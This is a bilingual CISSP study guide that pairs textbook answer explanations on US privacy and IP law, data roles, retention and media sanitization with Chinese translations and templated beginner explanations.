业务连续性计划 BCP BCP 关注业务在灾难或中断中如何继续运行。
学习单元 83 / PDF P1477

保护机制:分层、隐藏、加密和边界

单一控制不够,安全靠多个机制配合。

教材原文段落

Chapter 4: Laws, Regulations, and Compliance 1. C. The Bureau of Industry and Security within the Department of Commerce sets regulations on the export of encryption products outside of the United States. The other agencies listed here are not involved in regulating exports. 2. A. The Federal Information Security Management Act (FISMA) includes provisions regulating information security at federal agencies. It places authority for classified systems in the hands of the National Security Agency (NSA) and authority for all other systems with the National Institute for Standards and Technology (NIST). 3. D.

Administrative laws do not require an act of the legislative branch to implement at the federal level. Administrative laws consist of the policies, procedures, and regulations promulgated by agencies of the executive branch of government. Although they do not require an act of Congress, these laws are subject to judicial review and must comply with criminal and civil laws enacted by the legislative branch. 4. A. The California Consumer Privacy Act (CCPA) of 2018 was the first sweeping data privacy law enacted by a U.S. state.

This follows California's passing of the first data breach notification law, which was modeled after the requirements of the European Union's General Data Protection Regulation (GDPR). 5. B. The Communications Assistance for Law Enforcement Act (CALEA) required that communications carriers assist law enforcement with the implementation of wiretaps when done under an appropriate court order. CALEA only applies to communications carriers and does not apply to financial institutions, healthcare organizations, or websites. 6. B. The Fourth Amendment to the U.S.

Constitution sets the “probable cause” standard that law enforcement officers must follow when conducting searches and/or seizures of private property. It also states that those officers must obtain a warrant before gaining involuntary access to such property. The Privacy Act regulates what information government agencies may collect and maintain about individuals. The Second Amendment grants the right to keep and bear arms. The Gramm–Leach–Bliley Act regulates financial institutions, not the federal government.

中文直译 / 整理

第四章:法律、法规与合规 1. C. 商务部下属的工业与安全局负责制定加密产品出口至美国境外的法规。 此处列出的其他机构均不参与出口监管。 2. A. 联邦信息安全管理法(FISMA)包含规范联邦机构信息安全的规定。 它将分类系统的管理权赋予国家安全局(NSA),将所有其他系统的管理权 赋予国家标准与技术研究院(NIST)。 3. D. 行政法规在联邦层面实施时无需立法机构通过法案。 行政法规由政府行 政部门发布的政策、程序和规定组成。 尽管这些法规无需国会立法,但仍需 接受司法审查,并须符合立法机构颁布的刑事和民事法律。 4. A. 2018年通过的《加州消费者隐私法案》(CCPA)是美国各州颁布的 首部全面数据隐私法。 这继加州通过美国首个数据泄露通知法之后,该法 借鉴了欧盟《通用数据保护条例》(GDPR)的要求。 5. B. 通信协助执法法(CALEA)要求通信运营商在根据适当法院命令实施 窃听时协助执法部门。 CALEA 仅适用于通信运营商,不适用于金融机构、医 疗组织或网站。 6. B. 美国宪法第四修正案规定了执法官员在搜查和/或扣押私人财产时必须 遵循的“合理根据”标准。

它还规定,这些官员在非法获取此类财产前必须 获得搜查令。 《隐私法》规范了政府机构可以收集和保存的关于个人的信息。 第二修正案赋予了持有和携带武器的权利。 《格拉姆‑里奇‑布利雷法案》规 范的是金融机构,而非联邦政府。

小白解释

场景先行:凌晨监控告警:某台服务器开始大量外连。你不能先忙着写报告,也不能直接关全网。事件响应要按顺序做:确认、遏制、根除、恢复、复盘。

这一页真正想让你理解的是:单一控制不够,安全靠多个机制配合。

把它放进公司里看,关键不是背定义,而是判断:步骤乱了会扩大损失,或者破坏证据。

你作为负责人可以这样想:先保全证据和控制影响,再清除原因并恢复业务。

本页术语用人话说:

加密:加密把内容变成未授权者看不懂的形式。

NIST:NIST 提供美国常用安全标准、框架和指南。

政策:政策是高层原则,说明必须遵守什么。

标准:标准给出必须满足的最低要求。

常见误区:不要一上来就删除文件或重装系统;可能会破坏调查证据。

读完后用一句话复述:如果我是事件响应负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“保护机制:分层、隐藏、加密和边界”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是事件响应负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

加密主要保护机密性,也可配合签名、哈希支持完整性和真实性。

看到 SP 800 系列、CSF、RMF 常联想到 NIST。

Policy 高层、强制、稳定;Procedure 具体步骤。

Minimum level、mandatory requirement 常对应 standard。

Step-by-step、SOP 常对应 procedure。

排除法提醒:不要一上来就删除文件或重装系统;可能会破坏调查证据。

本页术语拆解
加密 加密把内容变成未授权者看不懂的形式。
NIST NIST 提供美国常用安全标准、框架和指南。
政策 政策是高层原则,说明必须遵守什么。
标准 标准给出必须满足的最低要求。
程序 程序是一步一步怎么做。
日志 日志记录系统和用户活动,用于监控、审计和调查。
学习单元 84 / PDF P1478

第 1478 页学习单元

这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

教材原文段落

7. A. Copyright law is the only type of intellectual property protection available to Matthew. It covers only the specific software code that Matthew used. It does not cover the process or ideas behind the software. Trademark protection is not appropriate for this type of situation because it would only protect the name and/or logo of the software, not its algorithms. Patent protection does not apply to mathematical algorithms. Matthew can't seek trade secret protection because he plans to publish the algorithm in a public technical journal. 8. D. Mary and Joe should treat their oil formula as a trade secret.

As long as they do not publicly disclose the formula, they can keep it a company secret indefinitely. Copyright and patent protection both have expiration dates and would not meet Mary and Joe's requirements. Trademark protection is for names and logos and would not be appropriate in this case. 9. C. Richard's product name should be protected under trademark law. Until his registration is granted, he can use the ™ symbol next to it to inform others that it is protected under trademark law. Once his application is approved, the name becomes a registered trademark, and Richard can begin using the ® symbol. The © symbol is used to represent a copyright.

The † symbol is not associated with intellectual property protections. 10. A. The Privacy Act of 1974 limits the ways government agencies may use information that private citizens disclose to them under certain circumstances. The Electronic Communications Privacy Act (ECPA) implements safeguards against electronic eavesdropping. The Health Insurance Portability and Accountability Act (HIPAA) regulates the protection and sharing of health records. The Gramm–Leach–Bliley Act requires that financial institutions protect customer records. 11. D. The European Union provides standard contractual clauses that may be used to facilitate data transfer.

That would be the best choice in a case where two different companies are sharing data. If the data were being shared internally within a company, binding corporate rules would also be an option. The EU/US Privacy Shield was a safe harbor agreement that would previously have allowed the transfer but that is no longer valid. Privacy Lock is a made-up term. 12. A. The Children's Online Privacy Protection Act (COPPA) provides severe penalties for companies that collect information from young children 7. A.

中文直译 / 整理

版权法是马修可用的唯一一种知识产权保护类型。 它仅涵盖马修所使用 的具体软件代码,不涵盖软件背后的过程或思想。 商标保护不适合这种情况, 因为它仅保护软件的名称和/或标志,而非其算法。 专利保护不适用于数学算 法。 马修无法寻求商业秘密保护,因为他计划在公开的技术期刊上发布该算 法。 8. D. 玛丽和乔应将他们的油料配方视为商业秘密。 只要他们不公开披露该 配方,就可以无限期地将其作为公司机密保留。 版权和专利保护均有有效期, 无法满足玛丽和乔的需求。 商标保护适用于名称和标志,在此情况下不适用。 9. C. 理查德的产品名称应受商标法保护。 在注册获批之前,他可以在名称 旁使用™符号,以告知他人该名称受商标法保护。 一旦申请获得批准,该 名称即成为注册商标,理查德便可开始使用®符号。 ©符号用于表示版权。 †符号与知识产权保护无关。 10. A. 1974年《隐私权法案》限制了政府机构在特定情况下使用公民向其披 露的信息的方式。 《电子通信隐私法》(ECPA)实施了防止电子窃听的保 障措施。 《健康保险可携性和责任法案》(HIPAA)规范了健康记录的保护 与共享。 《格拉姆‑里奇‑比利雷法案》要求金融机构保护客户记录。

11. D. 欧盟提供了可用来促进数据传输的标准合同条款。 在两家不同公司共享 数据的情况下,这是最佳选择。 如果数据在公司内部共享,绑定企业规则也是 一个选项。 欧盟/美国隐私盾协议曾是一个允许数据传输的安全港协议,但现 已无效。 隐私锁是一个虚构术语。 12. A. 《儿童在线隐私保护法》(COPPA)对收集幼儿信息的公司施加了严厉的 处罚。

小白解释

场景先行:新员工入职后要登录系统。第一步是声明身份,第二步证明身份,第三步决定能访问哪些数据,最后系统要记录他做了什么。IAM 题就是围绕这条链条出题。

这一页真正想让你理解的是:这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

把它放进公司里看,关键不是背定义,而是判断:认证成功不代表什么都能做;离职、调岗、权限漂移都会造成越权。

你作为负责人可以这样想:把识别、认证、授权、审计分开看,再用最小权限和定期复核收口。

本页术语用人话说:

问责性:问责性要求能把行为绑定到具体主体。

标准:标准给出必须满足的最低要求。

日志:日志记录系统和用户活动,用于监控、审计和调查。

恢复点目标 RPO:RPO 是最多能接受丢失多少时间范围的数据。

常见误区:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

读完后用一句话复述:如果我是IAM 管理员,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“第 1478 页学习单元”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是IAM 管理员在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

问责依赖识别、认证、授权、审计和记账共同工作。

Minimum level、mandatory requirement 常对应 standard。

日志要保护完整性、时间同步和访问控制。

RPO 问数据:最多丢到哪个时间点。

排除法提醒:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

本页术语拆解
问责性 问责性要求能把行为绑定到具体主体。
标准 标准给出必须满足的最低要求。
日志 日志记录系统和用户活动,用于监控、审计和调查。
恢复点目标 RPO RPO 是最多能接受丢失多少时间范围的数据。
学习单元 85 / PDF P1479

安全控制框架:用成熟框架组织安全

框架帮助组织系统化管理控制,而不是想到哪做到哪。

教材原文段落

without parental consent. COPPA states that this consent must be obtained from the parents of children younger than the age of 13 before any information is collected (other than basic information required to obtain that consent). 13. D. Although state data breach notification laws vary, they generally apply to Social Security numbers, driver's license numbers, state identification card numbers, credit/debit card numbers, and bank account numbers. These laws generally do not cover other identifiers, such as a student identification number. 14. B.

Organizations subject to HIPAA may enter into relationships with service providers as long as the provider's use of protected health information is regulated under a formal business associate agreement (BAA). The BAA makes the service provider liable under HIPAA. 15. B. Cloud services almost always include binding click-through license agreements that the user may have agreed to when signing up for the service. If that is the case, the user may have bound the organization to the terms of that agreement. This agreement does not need to be in writing. There is no indication that the user violated any laws. 16. B.

The Gramm–Leach–Bliley Act (GLBA) provides, among other things, regulations regarding the way financial institutions can handle private information belonging to their customers. 17. C. U.S. patent law provides for an exclusivity period of 20 years beginning at the time a utility patent application is submitted to the Patent and Trademark Office. 18. C. Ryan does not likely need to be concerned about HIPAA compliance because that law applies to healthcare organizations and Ryan works for a financial institution. Instead, he should be more concerned about compliance with the Gramm–Leach–Bliley Act (GLBA). The other concerns should all be part of Ryan's contract review. 19. C.

The Payment Card Industry Data Security Standard (PCI DSS) applies to organizations involved in storing, transmitting, and processing credit card information. 20. D. Copyright protection generally lasts for 70 years after the death of the last surviving author of the work.

中文直译 / 整理

未经父母同意。 COPPA规定,在收集任何信息之前(基本信息除外,这 些信息仅用于获取该同意),必须获得13岁以下儿童父母的同意。 13. D. 尽管各州的数据泄露通知法有所不同,但它们通常适用于社会安全号码、 驾驶执照号码、州身份证号码、信用卡/借记卡号码和银行账户号码。 这些法 律通常不涵盖其他标识符,例如学生身份证号码。 14. B. 受HIPAA约束的组织可以与服务提供商建立关系,前提是服务提供 商对受保护健康信息的使用受正式业务伙伴协议(BAA)的规范。 BAA使 服务提供商在HIPAA下承担责任。 15. B. 云服务几乎总是包含用户在注册服务时可能同意的具有约束力的点击 式许可协议。 如果是这种情况,用户可能已使组织受该协议条款的约束。 该 协议无需以书面形式签订。 没有迹象表明用户违反了任何法律。 16. B.《格拉姆‑利奇‑布利利法案》(GLBA)规定了金融机构处理客户私人 信息的方式等事项。 17. C. 美国专利法规定,实用新型专利申请提交至专利和商标局之日起享有 20年的独占期。

18. C. Ryan 很可能无需担心 HIPAA 合规问题,因为该法律适用于医疗保健 机构,而 Ryan 就职于金融机构。 他应更关注《格拉姆‑利奇‑布利利法案》 (GLBA)的合规要求。 其他担忧都应包含在 Ryan 的合同审查中。 19. C. 支付卡行业数据安全标准(PCI DSS)适用于涉及存储、传输和处理 信用卡信息的组织。 20. D. 版权保护通常持续至作品最后一位作者去世后70年。

小白解释

场景先行:新员工入职后要登录系统。第一步是声明身份,第二步证明身份,第三步决定能访问哪些数据,最后系统要记录他做了什么。IAM 题就是围绕这条链条出题。

这一页真正想让你理解的是:框架帮助组织系统化管理控制,而不是想到哪做到哪。

把它放进公司里看,关键不是背定义,而是判断:认证成功不代表什么都能做;离职、调岗、权限漂移都会造成越权。

你作为负责人可以这样想:把识别、认证、授权、审计分开看,再用最小权限和定期复核收口。

本页术语用人话说:

PCI DSS:PCI DSS 是支付卡行业数据安全标准。

标准:标准给出必须满足的最低要求。

入侵防御系统 IPS:IPS 可检测并主动阻断恶意流量。

身份:身份是主体在系统中的标识。

常见误区:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

读完后用一句话复述:如果我是IAM 管理员,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“安全控制框架:用成熟框架组织安全”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是IAM 管理员在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

信用卡/持卡人数据场景优先想到 PCI DSS。

Minimum level、mandatory requirement 常对应 standard。

IPS 放在线路中,误报可能影响可用性。

身份管理题要区分识别、认证、授权、审计。

排除法提醒:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

本页术语拆解
PCI DSS PCI DSS 是支付卡行业数据安全标准。
标准 标准给出必须满足的最低要求。
入侵防御系统 IPS IPS 可检测并主动阻断恶意流量。
身份 身份是主体在系统中的标识。
学习单元 86 / PDF P1480

机密性:让该看的人看,不该看的人看不到

机密性重点是防泄露,同时不能妨碍授权访问。

教材原文段落

Chapter 5: Protecting Security of Assets 1. B. Data classifications provide strong protection against the loss of confidentiality and are the best choice of the available answers. Data labels and proper data handling are based on first identifying data classifications. Data degaussing methods apply only to magnetic media. 2. D. Backup media should be protected with the same level of protection afforded the data it contains, and using a secure off-site storage facility would ensure this. The media should be marked, but that won't protect it if it is stored in an unstaffed warehouse.

A copy of backups should be stored off-site to ensure availability if a catastrophe affects the primary location. If copies of data are not stored off-site or off-site backups are destroyed, security is sacrificed by risking availability. 3. B. Destruction is the final stage in the life cycle of backup media. Because the backup method is no longer using tapes, they should be destroyed. Degaussing and declassifying the tape is done if you plan to reuse it. Retention implies you plan to keep the media, but retention is not needed at the end of its life cycle. 4. C. The data owner is the person responsible for classifying data.

A data controller decides what data to process and directs the data processor to process the data. A data custodian protects the integrity and security of the data by performing day-to-day maintenance. Users simply access the data. 5. A. The data custodian is responsible for the tasks of implementing the protections defined by the security policy and senior management. A data controller decides what data to process and how. Data users are not responsible for implementing the security policy protections. Data processors control the processing of data and only do what the data controller tells them to do with the data. 6. D.

The company can implement a data collection policy of minimization to minimize the amount of data they collect and store. If they are selling digital products, they don't need the physical address. If they are reselling products to the same customers, they can use tokenization to save tokens that match the credit card data, instead of saving and storing credit card data. Anonymization techniques remove all personal data and make the data unusable for reuse on the website. Pseudonymization replaces data

中文直译 / 整理

第5章:保护资产安全 1. B. 数据分类提供了对机密性丢失的强有力保护,是现有选项中的最佳选 择。 数据标签和适当的数据处理基于首先识别数据分类。 数据消磁方法仅 适用于磁性介质。 2. D. 备份介质应受到与所含数据相同级别的保护,使用安全的异地存储设施 可确保这一点。 介质应进行标记,但如果存放在无人值守的仓库中,这无法 提供保护。 备份的副本应存放在异地,以确保在灾难影响主要位置时仍可使 用。 如果数据副本未存放在异地或异地备份被破坏,则安全性将因 Availability 风险而受损。 3. B. 销毁是备份介质生命周期的最后阶段。 由于备份方法不再使用磁带,因 此应销毁这些磁带。 如果计划重新使用磁带,则应进行消磁和降级处理。 保 留意味着您计划继续保存介质,但在生命周期结束时无需保留。 4. C. 数据所有者是负责对数据进行分类的人员。 数据控制者决定处理哪些 数据,并指导数据处理者进行数据处理。 数据保管者通过日常维护来保护数 据的完整性和安全性。 用户仅访问数据。 5. A. 数据保管者负责实施安全策略和高级管理层所定义的保护措施。 数据控 制者决定处理哪些数据以及如何处理。

数据使用者不负责实施安全策略的保 护措施。 数据处理者控制数据的处理,仅按数据控制者的指示操作数据。 6. D. 公司可以实施数据最小化收集策略,以减少所收集和存储的数据量。 如 果他们销售数字产品,则无需收集物理地址。 如果他们向同一客户转售产品, 可以使用令牌化技术保存与信用卡数据匹配的令牌,而不是保存和存储信用 卡数据。 匿名化技术会移除所有个人数据,使数据无法在网站上重新使用。 伪匿名化技术会替换数据

小白解释

场景先行:想象公司有一个客户订单系统:客户资料被别人看到是机密性问题,订单金额被偷偷改是完整性问题,系统打不开是可用性问题。教材这一页就是教你把事故先翻译成安全目标。

这一页真正想让你理解的是:机密性重点是防泄露,同时不能妨碍授权访问。

把它放进公司里看,关键不是背定义,而是判断:把泄露、篡改、宕机混在一起,就会选错控制措施。

你作为负责人可以这样想:先判断事故破坏了 CIA 哪一项,再选择对应控制:防泄露、防篡改、保可用。

本页术语用人话说:

机密性:机密性让该看的人能看,不该看的人看不到。

完整性:完整性保证数据没有被未授权修改,并且仍然正确可信。

可用性:可用性保证授权用户需要时能及时使用系统和数据。

数据所有者:数据所有者决定数据分类、保护要求和访问规则。

常见误区:不要把所有安全问题都归成“被黑了”。考试会逼你分清到底是泄露、篡改还是中断。

读完后用一句话复述:如果我是业务系统负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“机密性:让该看的人看,不该看的人看不到”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是业务系统负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

加密、访问控制、分类、培训都常用于保护机密性。

哈希、数字签名、变更控制、输入校验常对应完整性。

冗余、备份、BCP/DRP、抗 DoS、容量规划都对应可用性。

Owner 定规则,Custodian 执行保护。

Custodian 常是 IT/运维角色。

排除法提醒:不要把所有安全问题都归成“被黑了”。考试会逼你分清到底是泄露、篡改还是中断。

本页术语拆解
机密性 机密性让该看的人能看,不该看的人看不到。
完整性 完整性保证数据没有被未授权修改,并且仍然正确可信。
可用性 可用性保证授权用户需要时能及时使用系统和数据。
数据所有者 数据所有者决定数据分类、保护要求和访问规则。
数据保管者 数据保管者按所有者要求实施备份、访问控制等保护。
政策 政策是高层原则,说明必须遵守什么。
资产 资产是组织认为有价值、需要保护的东西,可以是数据、系统、人员、设施或声誉。
数据分类 数据分类按敏感度和价值给数据贴等级,决定保护强度。
学习单元 87 / PDF P1481

角色与职责:谁最终负责,谁执行保护

CISSP 很爱考 owner、custodian、senior manager 的责任边界。

教材原文段落

with pseudonyms or artificial identifiers. Although the process can be reversed, it is not necessary. 7. B. Security labeling identifies the classification of data such as sensitive, secret, and so on. Media holding sensitive data should be labeled. Similarly, systems that hold or process sensitive data should also be labeled. Many organizations require the labeling of all systems and media, including those that hold or process nonsensitive data. 8. B. A data subject is a person that can be identified by an identifier such as a name, identification number, or other PII. All of these answers refer to the General Data Protection Regulation (GDPR).

A data owner owns the data and has ultimate responsibility for protecting it. A data controller decides what data to process, the purpose of collecting data, and how it should be processed. A data processor processes the data for the data controller. 9. B. Personnel did not follow the record retention policy for the backups sent to the warehouse. The scenario states that administrators purge onsite emails older than six months to comply with the organization's security policy, but the leak was from emails sent over three years ago. Personnel should follow media destruction policies when the organization no longer needs the media, but the issue here is the data on the tapes.

Configuration management ensures that systems are configured correctly using a baseline, but this does not apply to backup media. Versioning applies to applications, not backup tapes. 10. D. Record retention policies define the amount of time to keep data, and laws or regulations often drive these policies. Data remanence is data remnants on media, and proper data destruction procedures remove data remnants. Laws and regulations do outline requirements for some data roles, but they don't specify requirements for the data user role. 11. D. Purging is the most reliable method of the given choices.

Purging overwrites the media with random bits multiple times and includes additional steps to ensure that data is removed. It ensures there isn't any data remanence. Erasing or deleting processes rarely remove the data from media but instead mark it for deletion. Solid-state drives (SSDs) do not have magnetic flux, so degaussing an SSD doesn't destroy data. 12. A. Overwriting the disks multiple times will remove existing data. This is called purging, and purged media can then be used again. Formatting the disks isn't secure because it doesn't typically remove the previously

中文直译 / 整理

使用化名或人工标识符。 尽管该过程可以逆转,但并非必要。 7. B. 安全标签用于标识数据的分类,例如敏感、机密等。 存储敏感数据的 介质应进行标记。 同样,存储或处理敏感数据的系统也应进行标记。 许多组 织要求对所有系统和介质进行标记,包括那些存储或处理非敏感数据的系统 和介质。 8. B. 数据主体是指可以通过姓名、身份证号或其他个人身份信息(PII)等 标识符识别的个人。 所有这些答案均涉及《通用数据保护条例》(GDPR)。 数据所有者拥有数据,并对保护数据负有最终责任。 数据控制者决定处理哪 些数据、收集数据的目的以及如何处理数据。 数据处理者代表数据控制者处 理数据。 9. B. 人员未遵守发送至仓库的备份数据的保留策略。 该场景指出,管理员为 遵守组织的安全策略,会清除本地超过六个月的电子邮件,但泄露的邮件是 三年前发送的。 当组织不再需要介质时,人员应遵循介质销毁策略,但此处 的问题在于磁带上的数据。 配置管理通过基线确保系统正确配置,但这不适 用于备份介质。 版本控制适用于应用程序,而非备份磁带。 10. D. 数据保留政策规定了数据的保存时间,而法律法规通常推动这些政策的 制定。

数据残余是指介质上的数据残留,而适当的数据销毁程序可清除这些数 据残余。 法律法规确实规定了某些数据角色的要求,但并未明确数据使用者角 色的要求。 11. D. 消除是最可靠的给定方法。 消除会多次用随机比特覆盖介质,并包含 额外步骤以确保数据被彻底移除,从而保证不存在任何数据残余。 擦除或删 除操作很少真正从介质中移除数据,而只是将其标记为可删除。 固态硬盘 (SSD)没有磁通量,因此对SSD进行消磁无法销毁数据。 12. A. 多次覆盖磁盘将清除现有数据。 这称为消除,消除后的介质可以再次使 用。 格式化磁盘并不安全,因为它通常不会移除先前

小白解释

场景先行:新员工入职后要登录系统。第一步是声明身份,第二步证明身份,第三步决定能访问哪些数据,最后系统要记录他做了什么。IAM 题就是围绕这条链条出题。

这一页真正想让你理解的是:CISSP 很爱考 owner、custodian、senior manager 的责任边界。

把它放进公司里看,关键不是背定义,而是判断:认证成功不代表什么都能做;离职、调岗、权限漂移都会造成越权。

你作为负责人可以这样想:把识别、认证、授权、审计分开看,再用最小权限和定期复核收口。

本页术语用人话说:

数据所有者:数据所有者决定数据分类、保护要求和访问规则。

NIST:NIST 提供美国常用安全标准、框架和指南。

政策:政策是高层原则,说明必须遵守什么。

程序:程序是一步一步怎么做。

常见误区:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

读完后用一句话复述:如果我是IAM 管理员,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“角色与职责:谁最终负责,谁执行保护”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是IAM 管理员在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

Owner 定规则,Custodian 执行保护。

看到 SP 800 系列、CSF、RMF 常联想到 NIST。

Policy 高层、强制、稳定;Procedure 具体步骤。

Step-by-step、SOP 常对应 procedure。

Owner 决策,Custodian 执行,User 按授权使用。

排除法提醒:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

本页术语拆解
数据所有者 数据所有者决定数据分类、保护要求和访问规则。
NIST NIST 提供美国常用安全标准、框架和指南。
政策 政策是高层原则,说明必须遵守什么。
程序 程序是一步一步怎么做。
数据所有者 数据所有者负责决定数据分类、访问规则和保护要求。
保留期限 保留期限规定数据、日志或记录要保存多久。
身份 身份是主体在系统中的标识。
恢复点目标 RPO RPO 是最多能接受丢失多少时间范围的数据。
学习单元 88 / PDF P1482

保护机制:分层、隐藏、加密和边界

单一控制不够,安全靠多个机制配合。

教材原文段落

stored data. Deleting the files removes them from the directory but leaves remanent data on the disk that may be recovered with forensic tools. Defragmenting a disk optimizes it, but it doesn't remove data. 13. D. Systems with an EOS date that occurs in the following year should be a top priority for replacement. The EOS date is the date that the vendor will stop supporting a product. The EOL date is the date that a vendor stops producing and offering a product for sales but the vendor continues to support the product until the EOS date. Systems used for data loss prevention or to process sensitive data can remain in service. 14. D.

Purging memory buffers remove all remnants of data after a program has used it. Asymmetric encryption (along with symmetric encryption) protects data in transit or at rest. The data is already encrypted and stored in the database. Data loss prevention methods prevent unauthorized data loss but do not protect data in use. 15. A. Symmetric encryption methods protect data at rest, and data at rest is any data stored on media such as a server. Data in transit is data being transferred between two systems. Data in use is data in memory that is used by an application.

Steps are taken to protect data from the time it is created to the time it is destroyed, but this question isn't related to the data life cycle. 16. B. Scoping is a part of the tailoring process and refers to reviewing a list of security and privacy controls and selecting the controls that apply. Tokenization is the use of a token, such as a random string of characters, to replace other data and is unrelated to this question. Note that scoping focuses on the security of the system, and tailoring ensures that the selected controls align with the organization's mission.

If the database server needs to comply with external entities, it's appropriate to select a standard baseline provided by that entity. Imaging is done to deploy an identical configuration to multiple systems, but this is typically done after identifying security controls. 17. A. Tailoring refers to modifying a list of security controls to align with the organization's mission. The IT administrators identified a list of security controls to protect the web farm during the scoping steps. Sanitization methods (such as purging and destroying) help ensure that data cannot be recovered and is unrelated to this question.

Asset classification identifies the classification of assets based on the classification of data the assets hold or process. Minimization refers to

中文直译 / 整理

存储的数据。 删除文件会将其从目录中移除,但磁盘上仍会残留数据, 可能通过取证工具恢复。 磁盘碎片整理可优化磁盘,但不会删除数据。 13. D. 具有次年到期支持日期(EOS)的系统应优先更换。 EOS 日期是指供 应商停止对产品提供支持的日期。 EOL 日期是指供应商停止生产和销售该产 品的日期,但供应商会在 EOS 日期前继续提供支持。 用于数据防泄漏或处理 敏感数据的系统可继续使用。 14. D. 清除内存缓冲区是在程序使用后移除所有数据残留。 非对称加密(连 同对称加密)保护传输中或静态的数据。 数据已加密并存储在数据库中。 数 据防泄漏方法可防止未经授权的数据泄露,但无法保护使用中的数据。 15. A. 对称加密方法保护静态数据,而静态数据是指存储在服务器等介质上 的任何数据。 传输中的数据是指在两个系统之间传输的数据。 使用中的数据 是指应用程序在内存中使用的数据。 从数据创建到销毁的整个过程中都会采 取措施保护数据,但本题与数据生命周期无关。 16. B. 范围界定是定制过程的一部分,指审查安全和隐私控制列表并选择适用 的控制措施。 令牌化是指使用令牌(例如一串随机字符)替换其他数据,与 本题无关。

请注意,范围界定关注系统的安全性,而定制确保所选控制措施 与组织的使命相一致。 如果数据库服务器需要符合外部实体的要求,则应选 择该实体提供的标准基线。 镜像是为了将相同的配置部署到多个系统,但通 常是在确定安全控制措施之后进行的。 17. A. 定制是指修改安全控制列表以与组织的使命保持一致。 IT管理员在范 围界定阶段识别了一组安全控制措施,以保护Web农场。 数据清除方法(如 清除和销毁)有助于确保数据无法恢复,与本题无关。 资产分类是根据资产 所持有或处理的数据的分类来确定资产的分类。 最小化是指

小白解释

场景先行:新员工入职后要登录系统。第一步是声明身份,第二步证明身份,第三步决定能访问哪些数据,最后系统要记录他做了什么。IAM 题就是围绕这条链条出题。

这一页真正想让你理解的是:单一控制不够,安全靠多个机制配合。

把它放进公司里看,关键不是背定义,而是判断:认证成功不代表什么都能做;离职、调岗、权限漂移都会造成越权。

你作为负责人可以这样想:把识别、认证、授权、审计分开看,再用最小权限和定期复核收口。

本页术语用人话说:

授权:授权是认证之后决定你能访问什么、能做什么。

加密:加密把内容变成未授权者看不懂的形式。

NIST:NIST 提供美国常用安全标准、框架和指南。

标准:标准给出必须满足的最低要求。

常见误区:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

读完后用一句话复述:如果我是IAM 管理员,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“保护机制:分层、隐藏、加密和边界”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是IAM 管理员在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

认证成功不等于什么都能做;权限仍要单独授权。

加密主要保护机密性,也可配合签名、哈希支持完整性和真实性。

看到 SP 800 系列、CSF、RMF 常联想到 NIST。

Minimum level、mandatory requirement 常对应 standard。

Step-by-step、SOP 常对应 procedure。

排除法提醒:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

本页术语拆解
授权 授权是认证之后决定你能访问什么、能做什么。
加密 加密把内容变成未授权者看不懂的形式。
NIST NIST 提供美国常用安全标准、框架和指南。
标准 标准给出必须满足的最低要求。
程序 程序是一步一步怎么做。
资产 资产是组织认为有价值、需要保护的东西,可以是数据、系统、人员、设施或声誉。
对称加密 对称加密使用同一把密钥加密和解密,速度快但密钥分发难。
非对称加密 非对称加密使用公钥/私钥对,便于密钥交换和签名,但速度慢。
学习单元 89 / PDF P1483

认证:证明身份

认证回答“你是不是你声称的那个人”。

教材原文段落

data collection. Organizations should collect and maintain only the data they need. 18. A. A cloud access security broker (CASB) is a software solution placed logically between users and cloud-based resources, and it can enforce security policies used in an internal network. Data loss prevention (DLP) systems attempt to detect and block data exfiltration. CASB systems typically include DLP capabilities. Digital rights management (DRM) methods attempt to provide copyright protection for copyrighted works. End of life (EOL) is generally a marketing term and indicates when a company stops producing and selling a product. 19. B.

Network-based data loss prevention (DLP) systems can scan outgoing data and look for specific keywords and/or data patterns. DLP systems can block these outgoing transmissions. Antimalware software detects malware. Security information and event management (SIEM) provides real-time analysis of events occurring on systems throughout an organization but doesn't necessarily scan outgoing traffic. Intrusion prevention systems (IPSs) scan incoming traffic to prevent unauthorized intrusions. 20. B, C, D. Persistent online authentication, automatic expiration, and a continuous audit trail are all methods used with digital rights management (DRM) technologies.

Virtual licensing isn't a valid term within DRM.

中文直译 / 整理

